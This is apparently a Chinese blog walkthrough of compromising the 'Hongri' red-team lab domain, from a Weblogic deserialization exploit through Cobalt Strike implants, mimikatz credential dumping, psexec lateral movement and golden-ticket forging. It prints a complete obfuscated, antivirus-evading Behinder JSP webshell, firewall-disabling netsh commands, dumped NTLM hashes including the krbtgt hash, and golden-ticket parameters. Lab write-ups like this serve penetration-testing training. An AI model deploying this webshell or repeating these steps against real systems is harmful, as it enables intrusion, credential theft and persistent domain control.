请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,猫哥的秋刀鱼回忆录及文章作者不为此承担任何责任。猫哥的秋刀鱼回忆录公众号均不发表带原创标志的文章,转载请附带公众号出处!红日靶场(二)环境地址官方百度云盘地址均已失效,请通过其他手段获取本文中的靶机资源。
在阅读本文前,我默认你已然阅读并了解思路梳理剖析&手法具现可视化实验&红日ATT&CK实战系列 红队实战(一)一文中所涉及的思路。本文主要叙述并涉及以下几点命题:
鲁迅《伤逝》中写道:
这是真的,爱情必须时时更新、生长、创造!日子一久,只落得麻痹了翅子,即使放出笼外,早已不能奋飞,现在总算逃出这笼子,我从此 在新的开阔的天空中翱翔,趁我还未忘了我的翅子的扇动。
主要甄别并重点筛查DMZ区开放的两个IP
使用Goby红队版进行扫描测试
风险资产分布
风险统计
根据在192.168.111.80的7001端口开放的Weblogic服务来看,我们的重点是通过80机器的Weblogic服务下手,看看能不能拿到较高权限的shell,一般java服务都是以较高权限运行。使用Xray高级版进行漏扫测试与WeblogicScan工具与Goby结果做比对。当然了一键梭哈的工具不少,比如shack2与6哥的反序列化利用工具,Liqun工具箱都可以检测
通过比对发现存在
漏洞虽多,直接挑选RCE的梭哈就好,考虑后期使用CS提权,直接通过Java反序列化漏洞利用工具/Liqun直接梭哈上马弹shell,抽根利群压压惊。
生成马,传马,上马,热烈的马
查看本机IP、版本信息、补丁信息等,发现主机是08R2,并且存在域 de1ay.com,并且是双网卡机器
先做个桑拿-BloodHound,看看域环境是个啥样子
大概率是崩溃了,没事,最起码得给360一点面子
我们直接生成免杀马子上线CS就好
先提个SYSTEM权限再说下一步
先看看这台机器的环境配置,简单了解
存在杀软信息如下:
还开着防火墙呢,nm直接给你关了
Windows server 2003及之前版本:
netsh firewall set opmode disable #关闭
netsh firewall set opmode enable #开启
Windows server 2003之后版本:
netsh advfirewall set allprofiles state off #关闭
netsh advfirewall set allprofiles state on #开启
其他还是老样子,一键收集信息,然后分析分析
多的就不放图了,可以知道当前存在域de1ay.com,当前域成员有两台机器PC和WEB,WEB为当前获取权限的机器,域控为DC。通过ping域控名DC可知当前域控ip为10.10.10.10
,还是推荐用ladon插件与Fscan大保健直接开扫
hashdump获取凭证信息之后可以PTH横向移动,再使用mimikatz抓一下明文密码,成功抓取到WEB机器的密码:[email protected]
我们这会抓到密码之后可以尝试碰撞其他主机,这里有一个小问题,在我测试时发现,PC机器开了防火墙,我手贱开了它上面的360,导致我在WEB机器上扫不到它,,还有就是在CS的存活页面明明扫到了10.10.10.10
域控机器,但是不显示,我猜测时CS自己的问题。所以我通过portscan命令再刷新下
发现这会在页面探活到10域控机器了
很操蛋的事儿就来了,WEB主机和DC都没办法去ping通这个PC机子,让我静静。想了一会还是先拿DC域控下手,由于445端口是开启的,我们可以尝试一下域横向移动,然后我们还得到了管理员的账号密码,就可以利用SMB beacon横向移动。因为连接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。先用派生出来一个会话,利用psexec横向移动,巴拉巴拉,这一部分和上一篇时一样的操作,都是利用SMB管道直接碰撞拿下
大致就是这样子
接下来就是这个域内用户PC了,好奇葩啊,域控都ping不通它,妈的
我猜测可能是有两个原因:
我想到既然在之前的Goby扫描中看到了它可能存在MS17-010,但是我就是很好奇,这个域内的PC机子,怎么会有公网地址?而且域控还ping不同它?这就离谱。
接下来我使用Ladon/noping
扫描验证我的想法,实际上就是防火墙的问题,禁icmp
,当然你也可以选择关闭,我们就直接能够横向了。
所以我打算直接关掉PC机器的防火墙,嘿嘿!因为真实环境中你™域控都ping不到你你™是什么PC办公机?老操作
还是横向移动,利用psexec直接登陆直接拿下,如图
至此所有的机器都全部拿下。
在上传冰蝎马时,我用了工具中自带的webshell,发现一传上去就会被360给爆掉
无奈之下选择用免杀
<%! public byte[] AWA71(String Strings,String k) { try {javax.crypto.Cipher Bx0T9h = javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");Bx0T9h.init(javax.crypto.Cipher.DECRYPT_MODE, (javax.crypto.spec.SecretKeySpec) Class.forName("javax.crypto.spec.SecretKeySpec").getConstructor(byte[].class, String.class).newInstance(k.getBytes(), "AES"));int[] aa = new int[]{99, 101, 126, 62, 125, 121, 99, 115, 62, 82, 81, 67, 85, 38, 36, 84, 117, 115, 127, 116, 117, 98};String ccstr = "";for (int i = 0; i < aa.length; i++) { aa[i] = aa[i] ^ 0x010;ccstr = ccstr + (char) aa[i];}byte[] bytes = (byte[]) Class.forName(ccstr).getMethod("decodeBuffer", String.class).invoke(Class.forName(ccstr).newInstance(), Strings);byte[] result = (byte[]) Bx0T9h.getClass()./*Z271l09O33*/getDeclaredMethod/*Z271l09O33*/("doFinal", new Class[]{byte[].class}).invoke(Bx0T9h,new Object[]{bytes});return result;} catch (Exception e) {e.printStackTrace();return null;} } %><% try { String Kj65763 = "bf21a14d8b0eb60f"; session.putValue("u", Kj65763); byte[] I9Z828r = AWA71 (request.getReader().readLine(),Kj65763); java./*Z271l09O33*/lang./*Z271l09O33*/reflect.Method AWA71 = Class.forName("java.lang.ClassLoader").getDeclaredMethod/*Z271l09O33*/("defineClass",byte[].class,int/**/.class,int/**/.class); AWA71.setAccessible(true); Class i = (Class)AWA71.invoke(Thread.currentThread()./*Z271l09O33*/getContextClassLoader(), I9Z828r , 0, I9Z828r.length); Object QP5D = i./*Z271l09O33*/newInstance(); QP5D.equals(pageContext); } catch (Exception e) {response.sendError(404);} %>
这样就能够正常的进行连接
CS上线的马子也是简单免杀一下,没有什么问题。但是据我所看到的一些攻略说即使没有做免杀,也是能够弹回shell的,也许是360版本太低年代久远杀不掉这个shell。基本在上线和提权过程在没有遇到360的事儿,或者说在抓到管理员密码后,直接连上3389给他关掉也可以的。使用进程中杀掉360的方式实际上是不可能和不显示的,我们只需要把WEB这台机器作为跳板使用就行了。直接用smb beacon横移psexec打内网是最快最便捷的方式。在打PC机时360会拦截MS17-010攻击,我们默认正常环境,而不是这种同网段内ping不同的离谱事情,所以我在打PC机就直接用smb beacon横移psexec就行了。MS17-010且不说能不能成功,在360拦截下我感觉挺离谱的。
制作黄金票据&提取域控hash
Administrator:500:aad3b435b51404eeaad3b435b51404ee:531f4ef92a67d9d40906ad6e1b8510ca:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:82dfc71b72a11ef37d663047bc2088fb:::
de1ay:1001:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::
mssql:2103:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::
DC$:1002:aad3b435b51404eeaad3b435b51404ee:b42c234ea64f09ee3d4d697f79d7e4e1:::
PC$:1105:aad3b435b51404eeaad3b435b51404ee:152cf66967c8b1f059bc85b6ef73994a:::
WEB$:1603:aad3b435b51404eeaad3b435b51404ee:bc0bd5ea0c63677c8f5716aafbc0fd34:::
黄金票据的条件要求:
1.域名称 de1ay.com
2.域的SID值 S-1-5-21-2756371121-2868759905-3853650604
3.域的Krbtgt账户NTLM hash 82dfc71b72a11ef37d663047bc2088fb
4.伪造用户名 jbjb
黄金票据可以在拥有普通域用户权限和KRBTGT账号的哈希的情况下用来获取域管理员权限,上面已经获得域控的system权限了,还可以使用黄金票据做权限维持,当域控权限掉落后,我们还可以再通过域内其他任意机器伪造票据重新获取最高权限。这就是我们票据伪造的意义之处。
伪造金票成功
也可以手动使用mimikatz去伪造,此时就可以通过dir成功访问域控的共享文件夹,这里10.10.10.10 为域控主机
牢记我们Krbtgt账户NTLM hash是从DC上偷过来的,然后我们在域内除域控的主机上伪造一张金票,就可以在日后域控DC掉了后进行权限的维持
因为这个靶场红日官方的百度网盘链接挂了,我从网上找的,可能它的环境配置问题很大,所以我感觉这个和第一个区别不大,只不过打点利用换成Weblogic,加了360而已,区别不大。